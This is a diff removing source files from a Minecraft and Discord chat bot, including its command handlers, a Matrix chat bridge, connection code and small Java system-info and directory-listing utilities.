public class BruhifyModule {
}
@@ -1,8 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
public class ChatCommandHandlerModule {
}
@@ -1,8 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
public class ChatModule {
}
@@ -1,8 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
public class CommandCoreModule {
}
@@ -1,8 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
public class CommandLoopManagerModule {
}
@@ -1,7 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
public class CommandManagerModule {
}
@@ -1,8 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
public class ConsoleModule {
}
@@ -1,8 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
public class DiscordModule {
}
@@ -1,8 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
public class PlayerListModule {
}
@@ -1,7 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
public class SelfcareModule {
}
@@ -1,8 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
public class ValidationModule {
}
@@ -1,35 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot;
import java.net.InetAddress;
import java.net.UnknownHostException;
public class servershit {
public static void main(String[] args) {
try {
InetAddress inetAddress = InetAddress.getLocalHost();
System.out.println("Hostname \u203a " + inetAddress.getHostName());
} catch (UnknownHostException e) {
e.printStackTrace();
}
System.out.println("Working Directory \u203a " + System.getProperty("user.dir"));
System.out.println(System.getProperty("os.arch"));
System.out.println("OS \u203a " + System.getProperty("os.name"));
System.out.println("OS Version/distro \u203a " + System.getProperty("os.version"));
System.out.println("Kernel Version \u203a " + System.getProperty("os.kernel.version"));
System.out.println("Cores \u203a " + Runtime.getRuntime().availableProcessors());
System.out.println("CPU \u203a " + System.getProperty("sun.cpu.isalist"));
System.out.println("Server Free memory " + (Runtime.getRuntime().freeMemory() / 1048576) + " MiB " +
Runtime.getRuntime().totalMemory() / 1048576 + " MiB");
System.out.println("Device uptime \u203a " + formatUptime(System.currentTimeMillis() / 1000L));
System.out.println("Java version \u203a " + System.getProperty("java.version"));
}
private static String formatUptime(long uptime) {
long days = uptime / 86400;
long hours = (uptime % 86400) / 3600;
long minutes = ((uptime % 86400) % 3600) / 60;
long seconds = ((uptime % 86400) % 3600) % 60;
return days + "d " + hours + "h " + minutes + "m " + seconds + "s";
}
}
@@ -1,27 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot;
import java.io.IOException;
import java.io.InputStream;
import java.util.Arrays;
public class serverterminal {
public static void main(String[] args) {
try {
ProcessBuilder processBuilder = new ProcessBuilder(Arrays.asList("ash", "-c", "ls"));
Process process = processBuilder.start();
InputStream inputStream = process.getInputStream();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = inputStream.read(buffer)) != -1) {
System.out.println(new String(buffer, 0, bytesRead));
}
int exitCode = process.waitFor();
System.out.println("Child process close all stdio with code " + exitCode);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}
@@ -1,8 +0,0 @@
Commands:
prefixes:
- "~"
- "fnfbfbot "
- "&"
- "\ufffc"
- "\u202e"
- "\u2588"
-26
View File
@@ -1,26 +0,0 @@
const CommandError = require('../util/command_error.js');
module.exports = {
name: 'json',
trustLevel: 0,
aliases: [
],
description: 'placeholder text here',
usages: [
],
execute (context) {
const bot = context.bot;
const args = context.arguments;
try {
// bot.tellraw("@a", [
// { text: `Result \u203a` },
//JSON.parse(args.join(' ')),
// ])
// bot.tellraw("@a", `Result ${JSON.stringify(JSON.parse(args.join(' ')))}` )
bot.tellraw("@a", JSON.parse(JSON.stringify(args.join(' '))))
// console.log([ { text: `Result \u203a` }, { text: JSON.parse(args.join(' ')) } ])
} catch (e) {
bot.tellraw("@a", { text: e.toString(), color: "dark_red" })
}
}
}
-87
View File
@@ -1,87 +0,0 @@
const sdk = require("matrix-js-sdk");
const { logger } = require('matrix-js-sdk/lib/logger');
async function matrix (bot, options, config, discordClient) {
if (!options.roomId) return
if (!config.matrix.enabled) return
const client = sdk.createClient({
baseUrl: `${config.matrix.hostUrl}`,
accessToken: `${config.matrix.token}`,
userId: `${config.matrix.userId}`,
})
bot.matrix = {
client,
roomId: options.roomId,
prefix: config.matrix.prefix || undefined,
inviteUrl: config.matrix.invite || undefined
}
bot.matrix.client.on('Room.timeline', (event, room, toStartOfTimeline) => {
if (event.getRoomId() !== bot.matrix.roomId
|| event.getType() !== 'm.room.message'
|| event.getTs() < startTime
|| event.sender.userId === bot.matrix.client.getUserId()) return
const content = event.getContent()
const permissionLevel = event.sender.powerLevelNorm
bot.tellraw("@a", [
{
translate: "[%s] %s \u203a %s",
color: "gray",
with: [
{
translate: "%s%s%s %s",
with: [
{
text: "FNF",
color: "blue",
},
{
text: "Boyfriend",
color: "dark_aqua",
},
{
text: "Bot",
color: "dark_blue",
},
{
text: "Matrix",
color: "#0dbd8b"
}
],
// clickEvent: config.matrix.invite ? { action: 'open_url', value: config.matrix.invite } : undefined,
// hoverEvent: { action: 'show_text', contents: 'Click to join the matrix' }
},
{
// text: event.sender.rawDisplayName || event.sender.name || event.sender.userId
},
// content.body
event.getContent().body,
]
}
])
console.log(
// the room name will update with m.room.name events automatically
"(%s) %s :: %s",
room.name,
event.getSender(),
event.getContent().body,
)
})
bot.on('message', (message) => {
const stringMessage = bot.getMessageAsPrismarine(message)?.toString()
const content = {
body: '```ansi' + stringMessage + '```',
msgtype: "m.text",
}
let queue = [];
setInterval(() => {
// if (queue.length === 0) return
try {
bot.matrix.client.sendEvent(bot.options.roomId, 'm.room.message', content);
} catch (e) {
bot.console.logs(error.toString());
}
queue = [];
}, 5000)
})
await client.startClient()
}
module.exports = matrix;
-9
View File
@@ -1,9 +0,0 @@
const { request } = require("undici");
// https://en.wikipedia.org/w/api.php
async function sus () {
const query = new URLSearchParams("sus");
const wikiResult = await request(`https://en.wikipedia.org/wiki/sus`);
const result = await wikiResult.body;
console.log((await result.json()))
}
sus()
-5
View File
@@ -1,5 +0,0 @@
1. add discord hashes back to the bot (v6.0.0-beta)
2. add a reset interval to cloops (v6.0.0-beta)
3. finish useChat (v6.0.1)
4. finish isSavage (v6.0.2)
5. start working on isCreayun (v6.0.7) fuck you creayun
-70
View File
@@ -1,70 +0,0 @@
const mc = require('minecraft-protocol')
const { EventEmitter } = require('events')
//require("events").EventEmitter.defaultMaxListeners = Infinity;
EventEmitter.defaultMaxListeners = Infinity
const util = require('util');
function createBot(options = {}, config) {
const bot = new EventEmitter();
bot.options = {
// Set some default values in options
host: options.host ??= 'localhost',
username: options.username ??= 'Player',
hideErrors: options.hideErrors ??= true, // HACK: Hide errors by default as a lazy fix to console being spammed with them
};
bot.options = options;
const ChatMessage = require('prismarine-chat')(bot.options.version);
// Create our client object, put it on the bot, and register some events
bot.on('init_client', client => {
client.on('packet', (data, meta) => {
bot.emit('packet', data, meta)
bot.emit('packet.' + meta.name, data)
})
client.on('login', () => {
bot.uuid = client.uuid
bot.username = client.username
})
client.on('disconnect', (data) => {
bot.emit("disconnect", JSON.stringify(data.reason))
// bot?.discord?.channel?.send(util.inspect(data.reason))
if (config.console.filelogger) {
// bot?.console?.filelogging(`[${new Date().toLocaleTimeString("en-US", { timeZone: "America/CHICAGO", })} ${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO", })} logs] [${options.serverName}] ` + '[Client Reconnect] ' + util.inspect(data.reason))
}
})
client.on('end', reason => {
bot.emit('end', reason);
})
client.on('error', error => {
bot.console.warn(ChatMessage.fromNotch('§8[§bClient Reconnect§8]§r ')?.toAnsi() + util.inspect(error.toString()))
// bot?.discord?.channel?.send(error.toString())
if (config.console.filelogger) {
// bot?.console?.filelogging(`[${new Date().toLocaleTimeString("en-US", { timeZone: "America/CHICAGO", })} ${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO", })} logs] [${options.serverName}] ` + '[Client Reconnect] ' + util.inspect(error.toString()))
}
})
client.on("keep_alive", ({ keepAliveId }) => {
bot.emit("keep_alive", { keepAliveId })
})
client.on('kick_disconnect', (data) => {
bot.emit("kick_disconnect", data.reason)
bot.console?.warn(ChatMessage.fromNotch('§8[§bClient Reconnect§8]§r ')?.toAnsi() + util.inspect(data.reason))
bot?.discord?.channel?.send(util.inspect(data.reason))
if (config.console.filelogger) {
// bot?.console?.filelogging(`[${new Date().toLocaleTimeString("en-US", { timeZone: "America/CHICAGO", })} ${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO", })} logs] [${options.serverName}] ` + '[Client Reconnect] ' + util.inspect(data.reason))
}
})
process.on("uncaughtException", (e) => {
// console?.warn(e.stack)
});
})
const client = options.client ?? new mc.createClient(options)
bot._client = client
bot.emit('init_client', client)
bot.bots = options.bots ?? [bot]
return bot
}
module.exports = createBot
-58
View File
@@ -1,58 +0,0 @@
const bots = require('../data/bots.json');
const CommandError = require('../util/command_error')
module.exports = {
name: "bots",
description: ["shows a list of known bots"],
aliases: ["knownbots"],
trustLevel: 0,
usage:[""],
async execute(context) {
const query = context.arguments.join(" ").toLowerCase();
const bot = context.bot;
if (query.length === 0) {
const list = [];
for (const info of bots) {
if (list.length !== 0) {
list.push({ text: ", ", color: "gray" });
}
list.push(info.name);
}
bot.tellraw("@a",
["Known bots (", { text: JSON.stringify(bots.length), color: 'gold' }, { text: ") - ", color: 'gray' }, ...list],
false,
);
return;
}
for (const info of bots) {
const plainName = String(
context.bot.getMessageAsPrismarine(info.name),
).toLowerCase();
if (plainName.includes(query)) this.sendBotInfo(info, context.bot);
}
},
sendBotInfo(info, bot) {
const component = [""];
component.push("Name: ", info.name);
if (info.exclaimer) component.push("\n", "Exclaimer: ", info.exclaimer);
if (info.authors && info.authors.length !== 0) {
component.push("\n", "Authors: ");
for (const author of info.authors) {
component.push(author, { text: ", ", color: "gray" });
}
component.pop();
}
if (info.foundation) component.push("\n", "Foundation: ", info.foundation);
if (info.prefixes && info.prefixes.length !== 0) {
component.push("\n", "Prefixes: ");
for (const prefix of info.prefixes) {
component.push(prefix, { text: ", ", color: "gray" });
}
component.pop();
}
bot.tellraw("@a", [component]);
},
};
//it doing it just for the ones i added lol
// prob a replit moment, it probably thinks there are regexes in the strings
-158
View File
@@ -1,158 +0,0 @@
const { EmbedBuilder } = require('discord.js');
const CommandError = require('../util/command_error');
module.exports = {
name: 'cloop',
trustLevel: 1,
aliases: [
"commandloop"
],
description: 'run cloops',
usages: [
"add <interval> <command>",
"remove <index>",
"clear",
"list",
],
execute (context) {
const args = context.arguments
const bot = context.bot
const source = context.source
if (!args && !args[0] && !args[1] && !args[2] && !args[3]) return
switch (args[1]) {
case 'add':
if (parseInt(args[2]) === NaN) bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, { text: 'Invalid interval', color: 'red' })
const interval = parseInt(args[2])
const command = args.slice(3).join(' ');
bot.cloop.add(command, interval)
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, {
translate: 'Added \'%s\' with interval %s to the cloops',
color: 'gray',
with: [ command, { text: `${interval}`, color: 'gold' } ]
})
break
case 'remove':
if (parseInt(args[2]) === NaN) bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, { text: 'Invalid index', color: 'red' })
const index = parseInt(args[2])
bot.cloop.remove(index)
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, {
translate: 'Removed cloop %s',
color: 'gray',
with: [ { text: `${index}`, color: 'gold' } ]
})
break
case 'clear':
bot.cloop.clear()
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, { text: 'Cleared all cloops' })
break
case 'list':
const component = []
const listComponent = []
let i = 0
for (const cloop of bot.cloop.list) {
listComponent.push({
translate: '%s \u203a %s (%s)',
color: 'gray',
with: [
{ text: `${i}`, color: 'gold' },
cloop.command,
{ text: `${cloop.interval}`, color: 'gold'},
]
})
listComponent.push('\n')
i++
}
listComponent.pop()
component.push({
translate: 'Cloops (%s):',
with: [ { text: `${bot.cloop.list.length}`, color: 'gold' } ]
})
component.push('\n')
component.push(listComponent)
if (bot.cloop.list.length === 0) {
bot.tellraw(`@a[name="${source?.player.profile?.name}"]`, {
translate: 'Cloops (%s):',
color: 'gray',
with: [ { text: `${bot.cloop.list.length}`, color: 'gold' } ]
})
} else {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, component)
}
break
default:
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, { text: 'Invalid action', color: 'red' })
break
}
},
discordExecute (context) {
const bot = context.bot;
const args = context.arguments;
let Embed;
switch (args[0]) {
case "add":
const interval = parseInt(args[1])
const command = args.slice(2).join(' ')
bot.cloop.add(command, interval)
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`Added ${command} with the interval ${interval} to the cloops`)
bot?.discord?.message?.reply({ embeds: [Embed] })
break;
case "remove":
var index = (args[1])
if (parseInt(args[1]) === NaN) throw new CommandError("invalid index");
bot.cloop.remove(index)
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`removed cloop ${index}`)
bot?.discord?.message?.reply({ embeds: [Embed] })
break
case 'clear':
bot.cloop.clear()
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`cleared cloops`)
bot?.discord?.message?.reply({ embeds: [Embed] })
break
case 'list':
const component = []
const listComponent = []
let i = 0
for (const cloop of bot.cloop.list) {
listComponent.push({
translate: '%s \u203a %s (%s)',
with: [
`id ${i}`,
cloop.command,
cloop.interval
]
})
listComponent.push('\n')
i++
}
listComponent.pop()
component.push({
translate: 'Cloops (%s):',
with: [ bot.cloop.list.length ]
})
component.push('\n')
component.push(listComponent)
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(bot.getMessageAsPrismarine(component)?.toString())
bot?.discord?.message?.reply({ embeds: [Embed] })
break
}
}
}
-89
View File
@@ -1,89 +0,0 @@
module.exports = {
name: 'console',
trustLevel: 4,
aliases: [
],
execute (context) {
const bot = context.bot
const args = context.arguments;
const source = context.source;
if (!args && !args[0] && !args[1] && !args[2] && !args[3]) return;
switch (args[0]?.toLowerCase()) {
case "server":
case "svr":
const servers = bot.bots.map(eachBot => eachBot.options.serverName);
for (const eachBot of bot.bots) {
if (args.slice(1).join(' ').toLowerCase() === 'all') {
eachBot.console.server = 'all'
bot.console.info("Set the console server to all");
continue
}
const server = servers.find(server => server.toLowerCase().includes(args[1]))
if (!server) {
bot.console.info("Invalid server");
return
}
bot.console.info(`Set the console server to ` + server);
eachBot.console.server = server;
}
break
case 'customchat':
if (args[1] === 'off' || args[1] === 'false' || args[1] === 'disable') {
bot.console.customChat.enabled = false
bot.console.info('Custom Chat disabled');
} if (args[1] === 'on' || args[1] === 'true' || args[1] === 'enable') {
bot.console.customChat.enabled = true;
bot.console.info('Custom Chat enabled');
}
break
case 'say':
if (!bot.console.customChat.enabled) {
bot.commandManager.executeString(bot.console.source, `echo ${args.slice(1).join(' ')}`)
} else if (bot.console.customChat.enabled) {
if (args.slice(1).join(' ').startsWith('/')) {
bot.chat.command(`${args.slice(1).join(' ').substring(1)}`)
return;
}
bot.console.customChat.chat(args.slice(1).join(' '));
}
break
case "validate":
case "validation":
case "val":
// bot.chat.message(`${config.prefixes[0]}${args.slice(1).shift()} ${bot.validation.owner} ${args.slice(2).join(' ')}`)
switch (args[1]?.toLowerCase()) {
case "owner":
case "o":
if (bot.console.customChat.enabled) {
bot.console.customChat.chat(`${config.prefixes[0]}${args.slice(2).shift()} ${bot.validation.owner} ${args.slice(3).join(' ')}`)
} else if (!bot.console.customChat.enabled) {
bot.chat.message(`${config.prefixes[0]}${args.slice(2).shift()} ${bot.validation.owner} ${args.slice(3).join(' ')}`)
}
break
case "admin":
case "a":
if (bot.console.customChat.enabled) {
bot.console.customChat.chat(`${config.prefixes[0]}${args.slice(2).shift()} ${bot.validation.admin} ${args.slice(3).join(' ')}`)
} else if (!bot.console.customChat.enabled) {
bot.chat.message(`${config.prefixes[0]}${args.slice(2).shift()} ${bot.validation.admin} ${args.slice(3).join(' ')}`)
}
break
case "trusted":
case "t":
if (bot.console.customChat.enabled) {
bot.console.customChat.chat(`${config.prefixes[0]}${args.slice(2).shift()} ${bot.validation.owner} ${args.slice(3).join(' ')}`);
} else if (!bot.console.customChat.enabled) {
bot.chat.message(`${config.prefixes[0]}${args.slice(2).shift()} ${bot.validation.trusted} ${args.slice(3).join(' ')}`)
}
break
default:
bot.chat.message(bot.getMessageAsPrismarine({ translate: "command.unknown.argument", color: "dark_red" })?.toMotd().replaceAll("§","&"))
}
break
default:
bot.chat.message(bot.getMessageAsPrismarine({ translate: "command.unknown.argument", color: "dark_red" })?.toMotd().replaceAll("§","&"))
}
}
}
-25
View File
@@ -1,25 +0,0 @@
const CommandError = require('../util/command_error')
module.exports = {
name: 'core',
trustLevel: 0,
aliases: [
"cb",
"corerun",
"commandcorerun",
],
description: 'run commands in core!',
usages: [
"<command>",
],
execute (context) {
const bot = context.bot
const message = context.arguments.join(' ');
bot.core.run(message)
},
discordExecute (context) {
const bot = context.bot;
const args = context.arguments;
bot.core.run(args.join(' '));
}
}
-78
View File
@@ -1,78 +0,0 @@
const cowsay = require('cowsay2');
const cows = require('cowsay2/cows');
const { EmbedBuilder } = require('discord.js');
const fixansi = require('../util/ansi');
module.exports = {
name: 'cowsay',
trustLevel: 0,
aliases: [
],
description: 'amogus',
usages: [
"just wait till the command is ready :3"
],
execute (context) {
const bot = context.bot;
const args = context.arguments;
const source = context.source;
if (args[0] === "list") {
const list = Object.keys(cows);
let content = [];
let color = true;
for (const value of list) {
content.push([
{
text: value + ' ',
color: (!((color = !color)) ? 'blue' : 'dark_blue'),
}
])
}
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, content)
} else if (cows[args[0]]) {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, {
text: cowsay.say(args.slice(1).join(' '),
{ cow: cows[args[0]] })
})
} else {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, { text: cowsay.say(args.slice(0).join(' ')) })
}
},
discordExecute (context) {
const bot = context.bot;
const args = context.arguments;
let Embed
if (args[0] === "list") {
const list = Object.keys(cows);
let content = [];
let color = true;
for (const value of list) {
content.push([
{
text: value + ' ',
}
])
}
const ansiList = bot.getMessageAsPrismarine(content)?.toString();
const fixAnsiList = fixansi(ansiList.replaceAll('`', '`\u200b'))
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${fixAnsiList}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] })
} else if (cows[args[0]]) {
const ansiCow1 = bot.getMessageAsPrismarine({ text: cowsay.say(args.slice(1).join(' '), { cow: cows[args[0]] }) })?.toAnsi()
const fixAnsiCow1 = fixansi(ansiCow1.replaceAll('`', '`\u200b'))
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${fixAnsiCow1}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] })
} else {
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${cowsay.say(args.slice(0).join(' '))}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] });
}
}
}
-31
View File
@@ -1,31 +0,0 @@
module.exports = {
name: 'echo',
trustLevel: 0,
aliases: [
"say",
"botsay",
],
description: 'Make me say something',
usages: [
"<message>"
],
execute (context) {
const bot = context.bot
const message = context.arguments.join(' ')
if (message.startsWith('/')) {
bot.chat.command(message.substring(1))
return
}
// if
bot.chat.message(message)
},
discordExecute (context) {
const bot = context.bot;
const args = context.arguments;
if (args.join(' ').startsWith('/')) {
bot.chat.command(args.join(' ').substring(1))
return
}
bot.chat.message(args.join(' '))
}
}
-373
View File
@@ -1,373 +0,0 @@
const CommandError = require('../util/command_error');
const sleep = require('../util/sleep.js');
const fixansi = require('../util/ansi');
const { EmbedBuilder } = require('discord.js');
module.exports = {
name: 'help',
trustLevel: 0,
aliases: [
"heko",
"?",
"cmds",
"hell",
"hello",
"helo",
"commands",
"commandshelp",
],
description: 'a list of the bots commands',
usages: [
"",
"<command>",
],
execute (context) {
const commandList = [];
const bot = context.bot;
const source = context.source;
const args = context.arguments;
const category = {
translate: '(%s%s%s%s%s%s%s) \u203a ',
bold: false,
color: 'gray',
with: [
{ color: "aqua", text: 'Public'},
{ color: "gray", text: ' | '},
{ color: "dark_aqua", text: 'Trusted'},
{ color: 'gray', text: ' | '},
{ color: "blue", text: "Admin" },
{ color: "gray", text: " | " },
{ color: "dark_blue", text: 'Owner'},
]
}
let public = [];
let trusted = [];
let admin = [];
let owner = [];
for (const command of bot.commandManager.commandlist) {
if (args[0] === command.name) {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, [
{
text: `CommandName \u203a ${command.name}\n`,
color: 'gray',
},
{
text: `Aliases \u203a ${command.aliases}\n`,
color: 'gray',
},
{
text: `Description \u203a ${command.description}\n`,
color: 'gray',
},
{
text: `trustLevel \u203a `,
//${command.trustLevel}\n`,
color: 'gray'
},
{
text: `${command.trustLevel}\n`,
color: 'gold'
},
{
text: "Usages \u203a\n",
color: "gray"
},
]);
for (const usageArray of command.usages) {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, { text: `${config.prefixes[0]}${command.name} ${usageArray}`, color: 'gray' })
}
return
}
if (command.trustLevel === 0) {
public.push([
{
text: command.name + ' ',
color: "aqua",
translate: "",
hoverEvent: {
action: "show_text",
value: [
{
text: `Command:${command.name}\n`,
color: 'gray'
},
{
text: `Trust Level: `,
color: 'gray'
},
{
text: `${command.trustLevel}\n`,
color: 'gold'
},
{
text: `${command.description}\n`,
color: 'gray'
},
{
text: `Command Aliases: ${command.aliases}\n`,
color: 'gray'
},
{
text: 'click on me to use me :)',
color: 'gray',
},
],
},
clickEvent: {
action: 'run_command',
value: `${config.prefixes[0]}${command?.name}`
}
}
])
} else if (command.trustLevel === 1) {
trusted.push([
{
text: command.name + ' ',
color: "dark_aqua",
translate: "",
hoverEvent: {
action: "show_text",
value: [
{
text: `Command:${command.name}\n`,
color: 'gray'
},
{
text: `Trust Level: `,
color: 'gray'
},
{
text: `${command.trustLevel}\n`,
color: 'gold'
},
{
text: `${command.description}\n`,
color: 'gray'
},
{
text: `Command Aliases: ${command.aliases}\n`,
color: 'gray'
},
{
text: 'click on me to use me :)',
color: 'gray',
},
],
},
clickEvent: {
action: 'run_command',
value: `${config.prefixes[0]}${command?.name}`
}
}
])
} else if (command.trustLevel === 2) {
admin.push([
{
text: command.name + ' ',
color: "blue",
translate: "",
hoverEvent: {
action:"show_text",
value: [
{
text: `Command:${command.name}\n`,
color: 'gray'
},
{
text: `Trust Level: `,
color: 'gray'
},
{
text: `${command.trustLevel}\n`,
color: 'gold'
},
{
text: `${command.description}\n`,
color: 'gray'
},
{
text: `Command Aliases: ${command.aliases}\n`,
color: 'gray'
},
{
text: 'click on me to use me :)',
color: 'gray',
},
],
},
clickEvent: {
action: 'run_command',
value: `${config.prefixes[0]}${command?.name}`
}
}
])
} else if (command.trustLevel === 3) {
owner.push([
{
text: command.name + ' ',
color: "dark_blue",
translate: "",
hoverEvent: {
action: "show_text",
value: [
{
text: `Command:${command.name}\n`,
color: 'gray'
},
{
text: `Trust Level: `,
color: 'gray'
},
{
text: `${command.trustLevel}\n`,
color: 'gold'
},
{
text: `${command.description}\n`,
color: 'gray'
},
{
text: `Command Aliases: ${command.aliases}\n`,
color: 'gray'
},
{
text: 'click on me to use me :)',
color: 'gray',
},
],
},
clickEvent: {
action: 'run_command',
value: `${config.prefixes[0]}${command?.name}`
}
}
])
}
}
const length = bot.commandManager.commandlist.filter(c => c.trustLevel != 4).length
if (bot.options.useChat) {
bot.chat.message(bot.getMessageAsPrismarine([
{
text: 'Commands (',
color: 'gray'
},
{
text: length,
color: 'gold'
},
{
text: ') ',
color: 'gray'
},
category,
])?.toMotd().replaceAll('§','&'))
setTimeout(() => {
bot.chat.message(bot.getMessageAsPrismarine(public)?.toMotd().replaceAll("§","&"))
}, 200)
setTimeout(() => {
bot.chat.message(bot.getMessageAsPrismarine(trusted)?.toMotd().replaceAll("§","&"));
}, 200)
setTimeout(() => {
bot.chat.message(bot.getMessageAsPrismarine(admin)?.toMotd()?.replaceAll('§','&'))
}, 200)
setTimeout(() => {
bot.chat.message(bot.getMessageAsPrismarine(owner).toMotd().replaceAll("§","&"));
}, 200)
} else if (admin.length === 0) {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, [
{ text: 'Commands (', color: 'gray' },
{ text: JSON.stringify(length), color: 'gold' },
{ text: ') ', color: 'gray' },
category,
'\n',
public,
trusted,
owner
])
} else {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, [
{ text: 'Commands (', color: 'gray' },
{ text: JSON.stringify(length), color: 'gold' },
{ text: ') ', color: 'gray' },
category,
'\n',
public,
trusted,
admin,
owner
])
}
},
discordExecute (context) {
const bot = context.bot;
const args = context.arguments;
const category = {
translate: '(%s%s%s%s%s%s%s) \u203a ',
bold: false,
color: 'gray',
with: [
{ color: "aqua", text: 'Public'},
{ color: "gray", text: ' | '},
{ color: "dark_aqua", text: 'Trusted'},
{ color: 'gray', text: ' | '},
{ color: 'blue', text: 'Admin' },
{ color: 'gray', text: ' | ' },
{ color: "dark_blue", text: 'Owner'},
]
}
let public = [];
let trusted = [];
let admin = [];
let owner = [];
for (const command of bot.commandManager.commandlist) {
if (args[0] === command.name) {
const ansi = bot.getMessageAsPrismarine([ { text: `CommandName \u203a ${command.name}\n`, color: 'gray', }, { text: `Aliases \u203a ${command.aliases}\n`, color: 'gray', }, { text: `Description \u203a ${command.description}\n`, color: 'gray', }, { text: `trustLevel \u203a ${command.trustLevel}\n`, color: 'gray' }, { text: `Usages \u203a ${command?.usages}`, color: "dark_gray" }, ])?.toAnsi().replaceAll('```\u001b[9```' + '```\u001b[3```')
const fix = fixansi(ansi.replaceAll('`', '`\u200b'))
const Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${fix}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] })
return
}
if (command?.trustLevel === 0) {
public.push([
{
text: command.name + ' ',
color: "aqua",
}
])
} else if (command?.trustLevel === 1) {
trusted.push([
{
text: command.name + ' ',
color: "dark_aqua"
}
])
} else if (command?.trustLevel === 2) {
admin.push([
{
text: command.name + ' ',
color: 'blue'
}
])
} else if (command?.trustLevel === 3) {
owner.push([
{
text: command.name + ' ',
color: "dark_blue",
}
])
}
}
const length = bot.commandManager.commandlist.filter(c => c.trustLevel != 3).length
const ansi1 = bot.getMessageAsPrismarine([ { text: 'Commands (', color: 'gray' }, { text: JSON.stringify(length), color: 'gold' }, { text: ') ', color: 'gray' }, category, '\n', public, trusted, owner ])?.toAnsi();
const fix1 = fixansi(ansi1.replaceAll('`', '`\u200b'))
const Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${fix1}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] })
bot?.discord?.message.react('♋')
}
}
-375
View File
@@ -1,375 +0,0 @@
const os = require("os");
const CommandError = require('../util/command_error');
const fs = require("fs");
const botInfo = require('../data/info.json');
const fixansi = require('../util/ansi.js');
const { EmbedBuilder } = require('discord.js');
const { exec } = require('child_process')
function format(seconds) {
function pad(s) {
return (s < 10 ? "0" : "") + s;
}
var hours = Math.floor(seconds / (60 * 60));
var minutes = Math.floor((seconds % (60 * 60)) / 60);
var seconds = Math.floor(seconds % 60);
return (pad(`${hours} Hours`) + " " +
pad(`${minutes} Minutes`) + " " +
pad(`${seconds} Seconds`))
}
module.exports = {
name: 'info',
trustLevel: 0,
aliases: [
"information",
],
description: 'check the bots info',
usages: [
"version",
"config",
"discord",
"server",
"contributors",
"about"
],
execute (context) {
const bot = context.bot;
const args = context.arguments;
const config = context.config;
const discordClient = context.discordClient;
const source = context.source;
switch (args[0]?.toLowerCase()) {
case 'version':
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, `§9Friday §9Night §9Funkin §3Boyfriend §1Bot§8§r-${botInfo.bot.buildstring.version}-#${botInfo.bot.buildstring.build}-${botInfo.bot.buildstring.codename}\n11/22/22 - ${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO" })}`);
break
case 'config':
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, [
{
text: `Minecraft username \u203a ${bot.options.username}\n`,
color: 'gray',
},
{
text: `Ip \u203a ${bot.options.host}:`,
color: "gray"
},
{
text: `${bot.options.port}\n`,
color: 'gold'
},
{
text: `Version \u203a ${bot.options.version}\n`,
color: "gray",
},
{
text: `Discord username \u203a ${discordClient.user.tag}\n`,
color: 'gray',
},
{
text: `Channel \u203a ${bot.discord.channel?.name}\n`,
color: "gray"
},
{
text: `Server name \u203a ${bot.options.serverName}\n`,
color: "gray",
},
{
text: `Server count \u203a `,
color: "gray"
},
{
text: `${bot.bots.length}\n`,
color: 'gold'
},
{
text: `Prefixes \u203a ${config.prefixes.map((e) => e + " ").join(' ')}\n`,
color: "gray"
},
{
text: `Prefix Length: `,
color: "gray"
},
{
text: `${config.prefixes.length}\n`,
color: 'gold'
},
{
